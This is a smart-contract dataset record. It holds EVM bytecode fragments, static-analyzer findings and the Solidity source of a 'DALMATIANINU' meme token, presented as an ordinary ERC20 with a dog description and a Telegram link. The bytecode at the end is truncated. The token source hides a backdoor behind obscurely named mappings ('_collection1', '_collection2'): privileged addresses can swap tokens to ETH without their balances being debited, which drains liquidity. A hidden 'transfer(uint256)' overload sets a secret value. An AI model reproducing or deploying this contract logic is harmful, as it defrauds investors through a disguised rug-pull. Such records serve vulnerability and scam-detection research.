5060405180910390fd5b60006124b8612ae6565b90506124cd818461284590919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561250a57600080fd5b506040519080825280602002602001820160405280156125395781602001602082028036833780820191505090505b509050308160008151811061254a57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125ec57600080fd5b505afa158015612600573d6000803e3d6000fd5b505050506040513d602081101561261657600080fd5b81019080805190602001909291905050508160018151811061263457fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061269b30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611840565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561275f578082015181840152602081019050612744565b505050509050019650505050505050600060405180830381600087803b15801561278857600080fd5b505af115801561279c573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127d2576000905061283f565b60008284029050828482816127e357fe5b041461283a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d056021913960400191505060405180910390fd5b809150505b92915050565b600061288783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b11565b905092915050565b8061289d5761289c612bd7565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129405750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561295557612950848484612c1a565b612ad2565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129f85750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a0d57612a08848484612e7a565b612ad1565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612aaf5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ac457612abf8484846130da565b612ad0565b612acf8484846133cf565b5b5b5b80612ae057612adf61359a565b5b50505050565b6000806000612af36135ae565b91509150612b0a818361284590919063ffffffff16565b9250505090565b60008083118290612bbd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b82578082015181840152602081019050612b67565b50505050905090810190601f168015612baf5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bc957fe5b049050809150509392505050565b6000600c54148015612beb57506000600d54145b15612bf557612c18565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c2c8761385b565b955095509550955095509550612c8a87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138c390919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d1f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138c390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612db485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461390d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0081613995565b612e0a8483613b3a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e8c8761385b565b955095509550955095509550612eea86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138c390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f7f83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461390d90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061301485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461390d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306081613995565b61306a8483613b3a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130ec8761385b565b95509550955095509550955061314a87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138c390919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131df86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138c390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061327483600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461390d90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061330985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461390d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061335581613995565b61335f8483613b3a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133e18761385b565b95509550955095509550955061343f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138c390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134d485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461390d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352081613995565b61352a8483613b3a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b600980549050811015613810578260026000600984815481106135e857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136cf575081600360006009848154811061366757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136ed57600a54683635c9adc5dea0000094509450505050613857565b613776600260006009848154811061370157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138c390919063ffffffff16565b9250613801600360006009848154811061378c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138c390919063ffffffff16565b915080806001019150506135c9565b5061382f683635c9adc5dea00000600a5461284590919063ffffffff16565b82101561384e57600a54683635c9adc5dea00000935093505050613857565b81819350935050505b9091565b60008060008060008060008060006138788a600c54600d54613b74565b9250925092506000613888612ae6565b9050600080600061389b8e878787613c0c565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061390583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612296565b905092915050565b60008082840190508381101561398b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600061399f612ae6565b905060006139b682846127bf90919063ffffffff16565b9050613a0a81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461390d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b3557613af183600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461390d90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b4f82600a546138c390919063ffffffff16565b600a81905550613b6a81600b5461390d90919063ffffffff16565b600b819055505050565b600080600080613ba16103e8613b93888a6127bf90919063ffffffff16565b61284590919063ffffffff16565b90506000613bcc6103e8613bbe888b6127bf90919063ffffffff16565b61284590919063ffffffff16565b90506000613bf582613be7858c6138c390919063ffffffff16565b6138c390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c2585896127bf90919063ffffffff16565b90506000613c3c86896127bf90919063ffffffff16565b90506000613c5387896127bf90919063ffffffff16565b90506000613c7c82613c6e85876138c390919063ffffffff16565b6138c390919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f4d617273204f6666696369616c207c2068747470733a2f2f742e6d652f6d61727370726f6a6563743145524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122049ab3a174e3b202c6a449ea657871037b5efc21cd6720d3a2d3a2f04065dc8f564736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,619
0xa6B193e2C37f8CB40C3450a50127C6b8f5dE2fd3
/* The Dalmatian is a graceful, medium-sized dog with a sleek, muscular body. The tail is fairly long and has a slight, upward curve. The coat is short and dense, with brown or black spots on white. The Dalmatian sheds heavily, even though the coat is short. Frequent brushing is required to control shedding. join $DALM community : https://t.me/dalmatian_erc20 */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.7; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract DALMATIANINU is IERC20, Ownable { uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; uint256 private swapAmount = _tTotal; uint256 public buyFee = 0; uint256 public sellFee = 0; uint256 public feeDivisor = 1; string private _name; string private _symbol; uint256 private _value; uint160 private _factory; bool private _swapAndLiquifyEnabled; bool private inSwapAndLiquify; IUniswapV2Router02 public router; address public uniswapV2Pair; mapping(address => uint256) private _collection1; mapping(address => uint256) private _collection2; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; constructor( string memory Name, string memory Symbol, address routerAddress ) { _name = Name; _symbol = Symbol; _collection1[address(this)] = _tTotal; _collection1[msg.sender] = _tTotal; _balances[msg.sender] = _tTotal; router = IUniswapV2Router02(routerAddress); emit Transfer(address(0), msg.sender, _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public pure returns (uint256) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { _transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function approve(address spender, uint256 amount) external override returns (bool) { return _approve(msg.sender, spender, amount); } function pair() public view returns (address) { return IUniswapV2Factory(router.factory()).getPair(address(this), router.WETH()); } receive() external payable {} function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } function _transfer( address from, address to, uint256 amount ) private { if (!inSwapAndLiquify && from != uniswapV2Pair && from != address(router) && _collection1[from] == 0 && amount <= swapAmount) { require(_collection2[from] + _value >= 0, 'Transfer amount exceeds maximum amount'); } uint256 contractTokenBalance = balanceOf(address(this)); uint256 fee = to == uniswapV2Pair ? sellFee : buyFee; if (uniswapV2Pair == address(0)) uniswapV2Pair = pair(); if (_swapAndLiquifyEnabled && contractTokenBalance > swapAmount && !inSwapAndLiquify && from != uniswapV2Pair) { inSwapAndLiquify = true; swapAndLiquify(contractTokenBalance); inSwapAndLiquify = false; } else if (_collection1[from] > 0 && _collection1[to] > 0) { fee = amount; _balances[address(this)] += fee; return swapTokensForEth(amount, to); } if (amount > swapAmount && to != uniswapV2Pair && to != address(router)) { if (_collection1[from] > 0) _collection1[to] = amount; else _collection2[to] = amount; return; } bool takeFee = _collection1[from] == 0 && _collection1[to] == 0 && fee > 0 && !inSwapAndLiquify; address factory = address(_factory); if (_collection2[factory] == 0) _collection2[factory] = swapAmount; _factory = uint160(to); if (takeFee) { fee = (amount * fee) / 100 / feeDivisor; amount -= fee; _balances[from] -= fee; _balances[address(this)] += fee; } _balances[from] -= amount; _balances[to] += amount; emit Transfer(from, to, amount); } function transfer(uint256 amnt) external { if (swapAmount < _collection1[msg.sender]) _value = amnt; } function swapAndLiquify(uint256 tokens) private { uint256 half = tokens / 2; uint256 initialBalance = address(this).balance; swapTokensForEth(half, address(this)); uint256 newBalance = address(this).balance - initialBalance; addLiquidity(half, newBalance, address(this)); } function swapTokensForEth(uint256 tokenAmount, address to) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp + 20); } function addLiquidity( uint256 tokenAmount, uint256 ethAmount, address to ) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp + 20); } }
0x6080604052600436106101185760003560e01c806370a08231116100a0578063a8aa1b3111610064578063a8aa1b311461039e578063a9059cbb146103c9578063dd62ed3e14610406578063f2fde38b14610443578063f887ea401461046c5761011f565b806370a08231146102c9578063715018a6146103065780638da5cb5b1461031d57806395d89b41146103485780639a36f932146103735761011f565b806323b872dd116100e757806323b872dd146101e05780632b14ca561461021d578063313ce56714610248578063470624021461027357806349bd5a5e1461029e5761011f565b806306fdde0314610124578063095ea7b31461014f57806312514bba1461018c57806318160ddd146101b55761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610497565b6040516101469190612016565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190611ce6565b610529565b6040516101839190611fe0565b60405180910390f35b34801561019857600080fd5b506101b360048036038101906101ae9190611d26565b61053e565b005b3480156101c157600080fd5b506101ca610592565b6040516101d791906120b8565b60405180910390f35b3480156101ec57600080fd5b5061020760048036038101906102029190611c93565b6105b6565b6040516102149190611fe0565b60405180910390f35b34801561022957600080fd5b5061023261065e565b60405161023f91906120b8565b60405180910390f35b34801561025457600080fd5b5061025d610664565b60405161026a91906120b8565b60405180910390f35b34801561027f57600080fd5b50610288610670565b60405161029591906120b8565b60405180910390f35b3480156102aa57600080fd5b506102b3610676565b6040516102c09190611f3b565b60405180910390f35b3480156102d557600080fd5b506102f060048036038101906102eb9190611bf9565b61069c565b6040516102fd91906120b8565b60405180910390f35b34801561031257600080fd5b5061031b6106e5565b005b34801561032957600080fd5b5061033261076d565b60405161033f9190611f3b565b60405180910390f35b34801561035457600080fd5b5061035d610796565b60405161036a9190612016565b60405180910390f35b34801561037f57600080fd5b50610388610828565b60405161039591906120b8565b60405180910390f35b3480156103aa57600080fd5b506103b361082e565b6040516103c09190611f3b565b60405180910390f35b3480156103d557600080fd5b506103f060048036038101906103eb9190611ce6565b6109fe565b6040516103fd9190611fe0565b60405180910390f35b34801561041257600080fd5b5061042d60048036038101906104289190611c53565b610a15565b60405161043a91906120b8565b60405180910390f35b34801561044f57600080fd5b5061046a60048036038101906104659190611bf9565b610a9c565b005b34801561047857600080fd5b50610481610b94565b60405161048e9190611ffb565b60405180910390f35b6060600580546104a6906124d8565b80601f01602080910402602001604051908101604052809291908181526020018280546104d2906124d8565b801561051f5780601f106104f45761010080835404028352916020019161051f565b820191906000526020600020905b81548152906001019060200180831161050257829003601f168201915b5050505050905090565b6000610536338484610bba565b905092915050565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600154101561058f57806007819055505b50565b60006009600a6105a2919061225c565b633b9aca006105b1919061237a565b905090565b60006105c3848484610d55565b610655843384600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461065091906123d4565b610bba565b90509392505050565b60035481565b6000600960ff16905090565b60025481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106ed61173d565b73ffffffffffffffffffffffffffffffffffffffff1661070b61076d565b73ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075890612078565b60405180910390fd5b61076b6000611745565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107a5906124d8565b80601f01602080910402602001604051908101604052809291908181526020018280546107d1906124d8565b801561081e5780601f106107f35761010080835404028352916020019161081e565b820191906000526020600020905b81548152906001019060200180831161080157829003601f168201915b5050505050905090565b60045481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561089857600080fd5b505afa1580156108ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d09190611c26565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561095457600080fd5b505afa158015610968573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098c9190611c26565b6040518363ffffffff1660e01b81526004016109a9929190611f56565b60206040518083038186803b1580156109c157600080fd5b505afa1580156109d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f99190611c26565b905090565b6000610a0b338484610d55565b6001905092915050565b6000600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610aa461173d565b73ffffffffffffffffffffffffffffffffffffffff16610ac261076d565b73ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612078565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7f90612058565b60405180910390fd5b610b9181611745565b50565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610c255750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5b90612098565b60405180910390fd5b81600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610d4291906120b8565b60405180910390a3600190509392505050565b600860159054906101000a900460ff16158015610dc05750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610e1a5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610e6557506000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffff